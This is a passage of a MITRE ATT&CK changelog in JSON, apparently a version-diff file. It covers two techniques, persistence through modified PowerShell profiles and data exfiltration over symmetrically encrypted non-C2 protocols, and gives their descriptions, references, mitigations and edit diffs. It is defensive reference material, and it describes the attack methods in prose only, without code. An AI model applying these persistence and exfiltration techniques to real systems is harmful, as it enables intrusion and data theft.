                            "source_name": "Wits End and Shady PowerShell Profiles",
                            "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.",
                            "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html"
                        },
                        {
                            "source_name": "ESET Turla PowerShell May 2019",
                            "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
                            "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
                        },
                        {
                            "source_name": "Microsoft About Profiles",
                            "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.",
                            "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Allen DeRyke, ICE",
                        "Matt Green, @mgreen27"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:53:09.847000+00:00\", \"old_value\": \"2025-10-24 17:48:24.124000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\\n\\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.(Citation: Microsoft About Profiles) \\n\\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched.(Citation: ESET Turla PowerShell May 2019) \\n\\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.(Citation: Wits End and Shady PowerShell Profiles)\", \"old_value\": \"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\\n\\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \\n\\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \\n\\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\\n \\n-[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \\n+[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.(Citation: Microsoft About Profiles) \\n \\n-Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \\n+Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched.(Citation: ESET Turla PowerShell May 2019) \\n \\n-An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)\\n+An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.(Citation: Wits End and Shady PowerShell Profiles)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][3]\": {\"source_name\": \"Malware Archaeology PowerShell Cheat Sheet\", \"description\": \"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.\", \"url\": \"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf\"}, \"root['external_references'][5]\": {\"source_name\": \"Microsoft Profiles\", \"description\": \"Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.\", \"url\": \"https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to150__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to150__0\"><a href=\"#difflib_chg_to150__top\">t</a></td><td class=\"diff_header\" id=\"from150_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gain&nbsp;persistence&nbsp;and&nbsp;elevate&nbsp;privileges&nbsp;by&nbsp;e</td><td class=\"diff_next\"><a href=\"#difflib_chg_to150__top\">t</a></td><td class=\"diff_header\" id=\"to150_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gain&nbsp;persistence&nbsp;and&nbsp;elevate&nbsp;privileges&nbsp;by&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xecuting&nbsp;malicious&nbsp;content&nbsp;triggered&nbsp;by&nbsp;PowerShell&nbsp;profiles.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xecuting&nbsp;malicious&nbsp;content&nbsp;triggered&nbsp;by&nbsp;PowerShell&nbsp;profiles.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;A&nbsp;PowerShell&nbsp;profile&nbsp;&nbsp;(&lt;code&gt;profile.ps1&lt;/code&gt;)&nbsp;is&nbsp;a&nbsp;scrip</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;A&nbsp;PowerShell&nbsp;profile&nbsp;&nbsp;(&lt;code&gt;profile.ps1&lt;/code&gt;)&nbsp;is&nbsp;a&nbsp;scrip</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;that&nbsp;runs&nbsp;when&nbsp;[PowerShell](https://attack.mitre.org/techn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;that&nbsp;runs&nbsp;when&nbsp;[PowerShell](https://attack.mitre.org/techn</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1059/001)&nbsp;starts&nbsp;and&nbsp;can&nbsp;be&nbsp;used&nbsp;as&nbsp;a&nbsp;logon&nbsp;script&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1059/001)&nbsp;starts&nbsp;and&nbsp;can&nbsp;be&nbsp;used&nbsp;as&nbsp;a&nbsp;logon&nbsp;script&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;customize&nbsp;user&nbsp;environments.&nbsp;&nbsp;[PowerShell](https://attack.m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;customize&nbsp;user&nbsp;environments.&nbsp;&nbsp;[PowerShell](https://attack.m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1059/001)&nbsp;supports&nbsp;several&nbsp;profiles&nbsp;dep</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1059/001)&nbsp;supports&nbsp;several&nbsp;profiles&nbsp;dep</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ending&nbsp;on&nbsp;the&nbsp;user&nbsp;or&nbsp;host&nbsp;program.&nbsp;For&nbsp;example,&nbsp;there&nbsp;can&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ending&nbsp;on&nbsp;the&nbsp;user&nbsp;or&nbsp;host&nbsp;program.&nbsp;For&nbsp;example,&nbsp;there&nbsp;can&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;different&nbsp;profiles&nbsp;for&nbsp;[PowerShell](https://attack.mitre.o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;different&nbsp;profiles&nbsp;for&nbsp;[PowerShell](https://attack.mitre.o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rg/techniques/T1059/001)&nbsp;host&nbsp;programs&nbsp;such&nbsp;as&nbsp;the&nbsp;PowerShel</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rg/techniques/T1059/001)&nbsp;host&nbsp;programs&nbsp;such&nbsp;as&nbsp;the&nbsp;PowerShel</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;console,&nbsp;PowerShell&nbsp;ISE&nbsp;or&nbsp;Visual&nbsp;Studio&nbsp;Code.&nbsp;An&nbsp;administ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;console,&nbsp;PowerShell&nbsp;ISE&nbsp;or&nbsp;Visual&nbsp;Studio&nbsp;Code.&nbsp;An&nbsp;administ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rator&nbsp;can&nbsp;also&nbsp;configure&nbsp;a&nbsp;profile&nbsp;that&nbsp;applies&nbsp;to&nbsp;all&nbsp;users</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rator&nbsp;can&nbsp;also&nbsp;configure&nbsp;a&nbsp;profile&nbsp;that&nbsp;applies&nbsp;to&nbsp;all&nbsp;users</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;host&nbsp;programs&nbsp;on&nbsp;the&nbsp;local&nbsp;computer.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microso</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;host&nbsp;programs&nbsp;on&nbsp;the&nbsp;local&nbsp;computer.(Citation:&nbsp;Microsof</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ft&nbsp;About&nbsp;Profiles)&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;modify&nbsp;these&nbsp;profiles&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;About&nbsp;Profiles)&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;modify&nbsp;these&nbsp;profiles&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;include&nbsp;arbitrary&nbsp;commands,&nbsp;functions,&nbsp;modules,&nbsp;and/or&nbsp;[Po</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;include&nbsp;arbitrary&nbsp;commands,&nbsp;functions,&nbsp;modules,&nbsp;and/or&nbsp;[Pow</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">werShell](https://attack.mitre.org/techniques/T1059/001)&nbsp;dri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erShell](https://attack.mitre.org/techniques/T1059/001)&nbsp;driv</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ves&nbsp;to&nbsp;gain&nbsp;persistence.&nbsp;Every&nbsp;time&nbsp;a&nbsp;user&nbsp;opens&nbsp;a&nbsp;[PowerShe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;to&nbsp;gain&nbsp;persistence.&nbsp;Every&nbsp;time&nbsp;a&nbsp;user&nbsp;opens&nbsp;a&nbsp;[PowerShel</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll](https://attack.mitre.org/techniques/T1059/001)&nbsp;session&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l](https://attack.mitre.org/techniques/T1059/001)&nbsp;session&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;modified&nbsp;script&nbsp;will&nbsp;be&nbsp;executed&nbsp;unless&nbsp;the&nbsp;&lt;code&gt;-NoProf</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;modified&nbsp;script&nbsp;will&nbsp;be&nbsp;executed&nbsp;unless&nbsp;the&nbsp;&lt;code&gt;-NoProfi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ile&lt;/code&gt;&nbsp;flag&nbsp;is&nbsp;used&nbsp;when&nbsp;it&nbsp;is&nbsp;launched.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;ESET</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&lt;/code&gt;&nbsp;flag&nbsp;is&nbsp;used&nbsp;when&nbsp;it&nbsp;is&nbsp;launched.(Citation:&nbsp;ESET&nbsp;T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Turla&nbsp;PowerShell&nbsp;May&nbsp;2019)&nbsp;&nbsp;&nbsp;An&nbsp;adversary&nbsp;may&nbsp;also&nbsp;be&nbsp;able&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urla&nbsp;PowerShell&nbsp;May&nbsp;2019)&nbsp;&nbsp;&nbsp;An&nbsp;adversary&nbsp;may&nbsp;also&nbsp;be&nbsp;able&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;escalate&nbsp;privileges&nbsp;if&nbsp;a&nbsp;script&nbsp;in&nbsp;a&nbsp;PowerShell&nbsp;profile&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;escalate&nbsp;privileges&nbsp;if&nbsp;a&nbsp;script&nbsp;in&nbsp;a&nbsp;PowerShell&nbsp;profile&nbsp;is&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;loaded&nbsp;and&nbsp;executed&nbsp;by&nbsp;an&nbsp;account&nbsp;with&nbsp;higher&nbsp;privileges,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">loaded&nbsp;and&nbsp;executed&nbsp;by&nbsp;an&nbsp;account&nbsp;with&nbsp;higher&nbsp;privileges,&nbsp;su</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">such&nbsp;as&nbsp;a&nbsp;domain&nbsp;administrator.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Wits&nbsp;End&nbsp;and&nbsp;Shad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;as&nbsp;a&nbsp;domain&nbsp;administrator.(Citation:&nbsp;Wits&nbsp;End&nbsp;and&nbsp;Shady&nbsp;P</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;PowerShell&nbsp;Profiles)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">owerShell&nbsp;Profiles)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions",
                            "M1045: Code Signing",
                            "M1054: Software Configuration"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0451: Detection Strategy for PowerShell Profile Persistence via profile.ps1 Modification"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-15 15:30:42.378000+00:00",
                    "modified": "2026-11-03 19:41:54.517000+00:00",
                    "name": "Exfiltration Over Symmetric Encrypted Non-C2 Protocol",
                    "description": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.(Citation: Exfiltration Over Symmetric Encrypted Non-C2 Protocol)\n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that are not typically encrypted (such as HTTP or FTP). ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "exfiltration"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1048/001",
                            "external_id": "T1048.001"
                        },
                        {
                            "source_name": "Exfiltration Over Symmetric Encrypted Non-C2 Protocol",
                            "description": "STARTUP DEFENSE. (n.d.). Exfiltration Over Symmetric Encrypted Non-C2 Protocol. Retrieved September 2, 2026.",
                            "url": "https://www.startupdefense.io/mitre-attack-techniques/t1048-001-exfiltration-over-symmetric-encrypted-non-c2-protocol"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows",
                        "ESXi"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 19:41:54.517000+00:00\", \"old_value\": \"2026-09-02 18:30:25.080000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \\n\\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.(Citation: Exfiltration Over Symmetric Encrypted Non-C2 Protocol)\\n\\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that are not typically encrypted (such as HTTP or FTP). \", \"old_value\": \"Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \\n\\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.(Citation: Exfiltration Over Symmetric Encrypted Non-C2 Protocol)\\n\\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). \", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.(Citation: Exfiltration Over Symmetric Encrypted Non-C2 Protocol)\\n \\n-Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). \\n+Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that are not typically encrypted (such as HTTP or FTP). \"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to89__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to89__0\"><a href=\"#difflib_chg_to89__top\">t</a></td><td class=\"diff_header\" id=\"from89_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;steal&nbsp;data&nbsp;by&nbsp;exfiltrating&nbsp;it&nbsp;over&nbsp;a&nbsp;symmetr</td><td class=\"diff_next\"><a href=\"#difflib_chg_to89__top\">t</a></td><td class=\"diff_header\" id=\"to89_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;steal&nbsp;data&nbsp;by&nbsp;exfiltrating&nbsp;it&nbsp;over&nbsp;a&nbsp;symmetr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ically&nbsp;encrypted&nbsp;network&nbsp;protocol&nbsp;other&nbsp;than&nbsp;that&nbsp;of&nbsp;the&nbsp;exi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ically&nbsp;encrypted&nbsp;network&nbsp;protocol&nbsp;other&nbsp;than&nbsp;that&nbsp;of&nbsp;the&nbsp;exi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sting&nbsp;command&nbsp;and&nbsp;control&nbsp;channel.&nbsp;The&nbsp;data&nbsp;may&nbsp;also&nbsp;be&nbsp;sent</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sting&nbsp;command&nbsp;and&nbsp;control&nbsp;channel.&nbsp;The&nbsp;data&nbsp;may&nbsp;also&nbsp;be&nbsp;sent</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;an&nbsp;alternate&nbsp;network&nbsp;location&nbsp;from&nbsp;the&nbsp;main&nbsp;command&nbsp;and&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;an&nbsp;alternate&nbsp;network&nbsp;location&nbsp;from&nbsp;the&nbsp;main&nbsp;command&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">control&nbsp;server.&nbsp;&nbsp;&nbsp;Symmetric&nbsp;encryption&nbsp;algorithms&nbsp;are&nbsp;those&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">control&nbsp;server.&nbsp;&nbsp;&nbsp;Symmetric&nbsp;encryption&nbsp;algorithms&nbsp;are&nbsp;those&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">that&nbsp;use&nbsp;shared&nbsp;or&nbsp;the&nbsp;same&nbsp;keys/secrets&nbsp;on&nbsp;each&nbsp;end&nbsp;of&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">that&nbsp;use&nbsp;shared&nbsp;or&nbsp;the&nbsp;same&nbsp;keys/secrets&nbsp;on&nbsp;each&nbsp;end&nbsp;of&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">channel.&nbsp;This&nbsp;requires&nbsp;an&nbsp;exchange&nbsp;or&nbsp;pre-arranged&nbsp;agreement</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">channel.&nbsp;This&nbsp;requires&nbsp;an&nbsp;exchange&nbsp;or&nbsp;pre-arranged&nbsp;agreement</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/possession&nbsp;of&nbsp;the&nbsp;value&nbsp;used&nbsp;to&nbsp;encrypt&nbsp;and&nbsp;decrypt&nbsp;data.(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/possession&nbsp;of&nbsp;the&nbsp;value&nbsp;used&nbsp;to&nbsp;encrypt&nbsp;and&nbsp;decrypt&nbsp;data.(C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Exfiltration&nbsp;Over&nbsp;Symmetric&nbsp;Encrypted&nbsp;Non-C2&nbsp;Protoc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Exfiltration&nbsp;Over&nbsp;Symmetric&nbsp;Encrypted&nbsp;Non-C2&nbsp;Protoc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ol)&nbsp;&nbsp;Network&nbsp;protocols&nbsp;that&nbsp;use&nbsp;asymmetric&nbsp;encryption&nbsp;often&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ol)&nbsp;&nbsp;Network&nbsp;protocols&nbsp;that&nbsp;use&nbsp;asymmetric&nbsp;encryption&nbsp;often&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 